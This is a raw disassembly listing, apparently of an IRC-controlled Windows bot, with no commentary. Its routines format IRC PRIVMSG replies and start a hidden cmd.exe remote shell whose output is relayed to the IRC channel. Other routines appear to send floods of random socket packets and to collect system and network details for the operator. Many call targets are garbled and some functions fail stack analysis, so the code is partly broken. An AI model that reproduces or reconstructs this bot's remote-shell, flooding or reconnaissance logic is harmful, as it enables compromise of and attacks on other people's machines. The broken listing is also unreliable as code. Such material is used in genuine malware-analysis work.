loc_40B044: ; CODE XREF: sub_40AF86+5Fj cmp eax, ebx jz short loc_40B054 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40B057 ; --------------------------------------------------------------------------- loc_40B054: ; CODE XREF: sub_40AF86+C0j mov [ebp+var_4], esi loc_40B057: ; CODE XREF: sub_40AF86+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_417330 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40B077 mov [ebp+var_3C], eax loc_40B077: ; CODE XREF: sub_40AF86+ECj cmp [ebp+var_38], edi jge short loc_40B07F mov [ebp+var_38], edi loc_40B07F: ; CODE XREF: sub_40AF86+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40B0AC loc_40B086: ; CODE XREF: sub_40AF86+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43ACBC inc esi cmp esi, [ebp+var_40] jl short loc_40B086 loc_40B0AC: ; CODE XREF: sub_40AF86+FEj push [ebp+arg_0] call dword_43AE50 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DA9C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B0F5 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B0F5: ; CODE XREF: sub_40AF86+14Dj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 26302E2h sub_40AF86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B112 proc near ; DATA XREF: sub_40EE72+2FA9o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi nop call near ptr 26308B3h push eax call sub_417302 pop ecx push 11h push 2 push 2 call dword_43AE18 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B1F7 lea eax, [ebp+var_B0] push eax call dword_43AE1C cmp eax, edi jnz short loc_40B1F0 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB4C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B1D3 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B1D3: ; CODE XREF: sub_40B112+9Fj lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push esi nop call near ptr 26302E2h loc_40B1F0: ; CODE XREF: sub_40B112+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B1FA ; --------------------------------------------------------------------------- loc_40B1F7: ; CODE XREF: sub_40B112+6Ej lea eax, [ebp+arg_0] loc_40B1FA: ; CODE XREF: sub_40B112+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B215 call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B218 ; --------------------------------------------------------------------------- loc_40B215: ; CODE XREF: sub_40B112+F0j push [ebp+var_24] loc_40B218: ; CODE XREF: sub_40B112+101j call dword_43AD98 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B22A mov [ebp+var_24], esi loc_40B22A: ; CODE XREF: sub_40B112+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B237 mov [ebp+var_24], eax loc_40B237: ; CODE XREF: sub_40B112+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B24B mov [ebp+var_28], esi loc_40B24B: ; CODE XREF: sub_40B112+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B26C loc_40B252: ; CODE XREF: sub_40B112+158j call sub_41730C cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40B252 loc_40B26C: ; CODE XREF: sub_40B112+13Ej ; sub_40B112+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40B2CB push 0Bh pop esi loc_40B279: ; CODE XREF: sub_40B112+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41730C push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43ADFC push [ebp+var_28] nop call near ptr 2630F90h dec esi jnz short loc_40B279 cmp [ebp+var_24], edi jnz short loc_40B26C call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43AD98 mov [ebp+var_E], ax jmp short loc_40B26C ; --------------------------------------------------------------------------- loc_40B2CB: ; CODE XREF: sub_40B112+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB10 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B30B push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B30B: ; CODE XREF: sub_40B112+1D7j lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push edi nop call near ptr 26302E2h sub_40B112 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B328 proc near ; CODE XREF: sub_40B358+2Ap ; sub_40B390+7Ep ... mov eax, dword_43B0E4 push esi mov esi, dword_424078 cmp eax, 0FFFFFFFFh jz short loc_40B33C push eax call esi loc_40B33C: ; CODE XREF: sub_40B328+Fj mov eax, dword_43B0EC cmp eax, 0FFFFFFFFh jz short loc_40B349 push eax call esi loc_40B349: ; CODE XREF: sub_40B328+1Cj mov eax, dword_43B0E0 cmp eax, 0FFFFFFFFh jz short loc_40B356 push eax call esi loc_40B356: ; CODE XREF: sub_40B328+29j pop esi retn sub_40B328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B358 proc near ; CODE XREF: sub_40C351+14Ap ; sub_40EE72+4881p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_417AB0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43B0E8 nop call near ptr 2660000h test eax, eax jnz short loc_40B38B call sub_40B328 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B38B: ; CODE XREF: sub_40B358+28j push 1 pop eax leave retn sub_40B358 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B390 proc near ; CODE XREF: sub_40B417+D3p ; sub_40B417+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_436EDC push [ebp+arg_4] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40B3D3 push 7D0h nop call near ptr 2630F90h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4172B0 add esp, 10h jmp short loc_40B3EA ; --------------------------------------------------------------------------- loc_40B3D3: ; CODE XREF: sub_40B390+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4172B0 add esp, 0Ch loc_40B3EA: ; CODE XREF: sub_40B390+41j lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 test eax, eax jg short loc_40B413 call sub_40B328 loc_40B413: ; CODE XREF: sub_40B390+7Cj xor eax, eax leave retn sub_40B390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B417 proc near ; DATA XREF: sub_40B56C+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43B0F0 loc_40B42F: ; CODE XREF: sub_40B417+79j ; sub_40B417+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43B0E4 call near ptr 27A0450h nop test eax, eax jz loc_40B4FD cmp [ebp+var_4], edi jnz short loc_40B492 lea eax, [ebp+var_8] push eax push dword_43B0E0 nop call near ptr 27A0000h test eax, eax jz short loc_40B488 cmp [ebp+var_8], 103h jnz loc_40B521 loc_40B488: ; CODE XREF: sub_40B417+62j push 0Ah nop call near ptr 2630F90h jmp short loc_40B42F ; --------------------------------------------------------------------------- loc_40B492: ; CODE XREF: sub_40B417+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40B4A9 loc_40B499: ; CODE XREF: sub_40B417+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40B4F7 inc eax cmp eax, [ebp+var_4] jb short loc_40B499 loc_40B4A9: ; CODE XREF: sub_40B417+80j mov [ebp+var_4], esi loc_40B4AC: ; CODE XREF: sub_40B417+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43B0E4 nop call near ptr 26510A0h test eax, eax jz short loc_40B549 lea eax, [ebp+var_20C] push eax push ebx push dword_43B124 call sub_40B390 add esp, 0Ch jmp loc_40B42F ; --------------------------------------------------------------------------- loc_40B4F7: ; CODE XREF: sub_40B417+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40B4AC ; --------------------------------------------------------------------------- loc_40B4FD: ; CODE XREF: sub_40B417+45j push offset dword_42DC0C push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push 1 nop call near ptr 26302E2h loc_40B521: ; CODE XREF: sub_40B417+6Bj call sub_40B328 push offset dword_42DBD4 push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 26302E2h loc_40B549: ; CODE XREF: sub_40B417+C3j push offset dword_42DB94 push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 26302E2h sub_40B417 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B56C proc near ; CODE XREF: sub_40C351+99p ; sub_40EE72+5774p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40B328 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43AE54 test eax, eax jz loc_40B666 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_424140 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_40B666 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_40B666 mov edi, dword_42413C push 3 push esi push esi push offset dword_43B0E8 call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 27A0802h test eax, eax jz short loc_40B666 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417330 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_436EDC push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2780B1Eh test eax, eax jnz short loc_40B66E loc_40B666: ; CODE XREF: sub_40B56C+2Fj ; sub_40B56C+5Cj ... or eax, 0FFFFFFFFh jmp loc_40B71C ; --------------------------------------------------------------------------- loc_40B66E: ; CODE XREF: sub_40B56C+F8j push [ebp+var_4] mov edi, dword_424078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43B0E4, eax mov eax, [ebp+var_8] mov dword_43B0EC, eax mov eax, [ebp+var_2C] mov dword_43B0E0, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43B124, eax jz short loc_40B6A8 push [ebp+arg_4] jmp short loc_40B6A9 ; --------------------------------------------------------------------------- loc_40B6A8: ; CODE XREF: sub_40B56C+135j push ebx loc_40B6A9: ; CODE XREF: sub_40B56C+13Aj push offset dword_43B0F0 call sub_4172B0 pop ecx pop ecx push esi push 7 push offset dword_42DC90 call sub_416D5C mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4407F8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40B417 push esi push esi nop call near ptr 26A0C0Ah cmp eax, esi mov dword_440804[edi], eax jnz short loc_40B71A nop call near ptr 2670ADCh push eax lea eax, [ebp+var_378] push offset dword_42DC4C push eax call sub_4172B0 lea eax, [ebp+var_378] push eax call sub_40BF6D add esp, 10h loc_40B71A: ; CODE XREF: sub_40B56C+185j xor eax, eax loc_40B71C: ; CODE XREF: sub_40B56C+FDj pop edi pop esi pop ebx leave retn sub_40B56C endp ; =============== S U B R O U T I N E ======================================= sub_40B721 proc near ; CODE XREF: sub_407110+74p ; sub_40B8D8+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call near ptr 26308B3h nop xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43B12C push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41782A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40B721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B78A proc near ; CODE XREF: sub_409037+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call near ptr 27B1523h nop test eax, eax jz short loc_40B81D cmp [ebp+var_90], 4 jnz short loc_40B7F3 cmp [ebp+var_8C], esi jnz short loc_40B7DB cmp [ebp+var_84], 1 jnz short loc_40B7CE push 1 pop esi loc_40B7CE: ; CODE XREF: sub_40B78A+3Fj cmp [ebp+var_84], 2 jnz short loc_40B81D push 1 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40B78A+36j cmp [ebp+var_8C], 0Ah jnz short loc_40B7E8 loc_40B7E4: ; CODE XREF: sub_40B78A+78j push 2 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7E8: ; CODE XREF: sub_40B78A+58j cmp [ebp+var_8C], 5Ah jnz short loc_40B81D jmp short loc_40B80D ; --------------------------------------------------------------------------- loc_40B7F3: ; CODE XREF: sub_40B78A+2Ej cmp [ebp+var_90], 5 jnz short loc_40B81D cmp [ebp+var_8C], esi jz short loc_40B7E4 cmp [ebp+var_8C], 1 jnz short loc_40B811 loc_40B80D: ; CODE XREF: sub_40B78A+67j push 3 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B811: ; CODE XREF: sub_40B78A+81j cmp [ebp+var_8C], 2 jnz short loc_40B81D push 7 loc_40B81C: ; CODE XREF: sub_40B78A+4Fj ; sub_40B78A+5Cj ... pop esi loc_40B81D: ; CODE XREF: sub_40B78A+25j ; sub_40B78A+4Bj ... mov eax, esi pop esi leave retn sub_40B78A endp ; =============== S U B R O U T I N E ======================================= sub_40B822 proc near ; CODE XREF: sub_40B8D8+290p push ebx push esi push edi mov esi, 0F4240h loc_40B82A: ; CODE XREF: sub_40B822+2Fj ; sub_40B822+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2630F90h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_419250 mov edi, edx mov ebx, eax test edi, edi ja short loc_40B82A jb short loc_40B859 cmp ebx, esi ja short loc_40B82A loc_40B859: ; CODE XREF: sub_40B822+31j push 0 push 64h push edi push ebx call sub_4191D0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40B8CC jb short loc_40B878 cmp esi, 50h jnb short loc_40B87D loc_40B878: ; CODE XREF: sub_40B822+4Fj push 4Bh xor edx, edx pop eax loc_40B87D: ; CODE XREF: sub_40B822+54j test ecx, ecx ja short loc_40B8CC jb short loc_40B888 cmp esi, 47h jnb short loc_40B88D loc_40B888: ; CODE XREF: sub_40B822+5Fj push 42h xor edx, edx pop eax loc_40B88D: ; CODE XREF: sub_40B822+64j test ecx, ecx ja short loc_40B8CC jb short loc_40B898 cmp esi, 37h jnb short loc_40B89D loc_40B898: ; CODE XREF: sub_40B822+6Fj push 32h xor edx, edx pop eax loc_40B89D: ; CODE XREF: sub_40B822+74j test ecx, ecx ja short loc_40B8CC jb short loc_40B8A8 cmp esi, 26h jnb short loc_40B8AD loc_40B8A8: ; CODE XREF: sub_40B822+7Fj push 21h xor edx, edx pop eax loc_40B8AD: ; CODE XREF: sub_40B822+84j test ecx, ecx ja short loc_40B8CC jb short loc_40B8B8 cmp esi, 1Eh jnb short loc_40B8BD loc_40B8B8: ; CODE XREF: sub_40B822+8Fj push 19h xor edx, edx pop eax loc_40B8BD: ; CODE XREF: sub_40B822+94j test ecx, ecx ja short loc_40B8CC jb short loc_40B8C8 cmp esi, 0Ah jnb short loc_40B8CC loc_40B8C8: ; CODE XREF: sub_40B822+9Fj xor eax, eax xor edx, edx loc_40B8CC: ; CODE XREF: sub_40B822+4Dj ; sub_40B822+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40B822 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8D8 proc near ; CODE XREF: sub_40EE72+59EEp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_436EDC mov [ebp+var_CC], 94h call near ptr 27B1523h nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B95F cmp [ebp+var_C4], ebx jnz short loc_40B93B cmp [ebp+var_BC], 1 jnz short loc_40B925 mov [ebp+var_4], offset a95 ; "95" loc_40B925: ; CODE XREF: sub_40B8D8+44j cmp [ebp+var_BC], 2 jnz loc_40B9DA mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40B9AB ; --------------------------------------------------------------------------- loc_40B93B: ; CODE XREF: sub_40B8D8+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B94D mov [ebp+var_4], offset a98 ; "98" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B94D: ; CODE XREF: sub_40B8D8+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B99B mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B95F: ; CODE XREF: sub_40B8D8+33j cmp [ebp+var_C8], 5 jnz short loc_40B99B cmp [ebp+var_C4], ebx jnz short loc_40B979 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B979: ; CODE XREF: sub_40B8D8+96j cmp [ebp+var_C4], 1 jnz short loc_40B98B mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B98B: ; CODE XREF: sub_40B8D8+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B9A2 loc_40B99B: ; CODE XREF: sub_40B8D8+7Cj ; sub_40B8D8+8Ej mov [ebp+var_4], offset dword_42DDDC loc_40B9A2: ; CODE XREF: sub_40B8D8+73j ; sub_40B8D8+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B9DA loc_40B9AB: ; CODE XREF: sub_40B8D8+61j cmp [ebp+var_B8], bl jz short loc_40B9DA lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42DDD4 push eax call sub_4172B0 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40B9DA: ; CODE XREF: sub_40B8D8+54j ; sub_40B8D8+D1j ... mov ax, word_42DDD0 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43AC84 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40BA13 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_40BA13: ; CODE XREF: sub_40B8D8+12Cj push [ebp+arg_4] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43AD50 cmp eax, ebx jz short loc_40BA3C push dword ptr [eax] jmp short loc_40BA41 ; --------------------------------------------------------------------------- loc_40BA3C: ; CODE XREF: sub_40B8D8+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40BA41: ; CODE XREF: sub_40B8D8+162j lea eax, [ebp+var_3E4] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2640000h lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi nop call near ptr 26A0000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 2690000h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 27C0000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4192B8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B721 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax call sub_40B822 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB8C proc near ; CODE XREF: sub_40EE72+4555p ; sub_40EE72+5A1Fp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417330 add esp, 0Ch cmp dword_43AE80, 0 jnz short loc_40BBF8 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43AC68 test eax, eax jnz short loc_40BBE1 lea eax, [ebp+var_8C] push offset dword_42DE50 push eax call sub_4172B0 pop ecx pop ecx loc_40BBE1: ; CODE XREF: sub_40BB8C+40j test [ebp+var_C], 1 jz short loc_40BBEE push offset dword_42DE48 jmp short loc_40BBF3 ; --------------------------------------------------------------------------- loc_40BBEE: ; CODE XREF: sub_40BB8C+59j push offset off_42DE44 loc_40BBF3: ; CODE XREF: sub_40BB8C+60j lea eax, [ebp+var_8] jmp short loc_40BC10 ; --------------------------------------------------------------------------- loc_40BBF8: ; CODE XREF: sub_40BB8C+28j mov esi, offset off_42DE40 lea eax, [ebp+var_8] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_40BC10: ; CODE XREF: sub_40BB8C+6Aj push eax call sub_4172B0 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40BB8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC4B proc near ; DATA XREF: sub_40EE72+4974o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42DF80 call sub_417330 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_417330 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_417330 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_417330 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_417330 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_417AB0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43ACA0 test eax, eax jz loc_40BDE5 cmp [ebp+var_34], ebx jbe short loc_40BD22 push [ebp+var_34] lea eax, 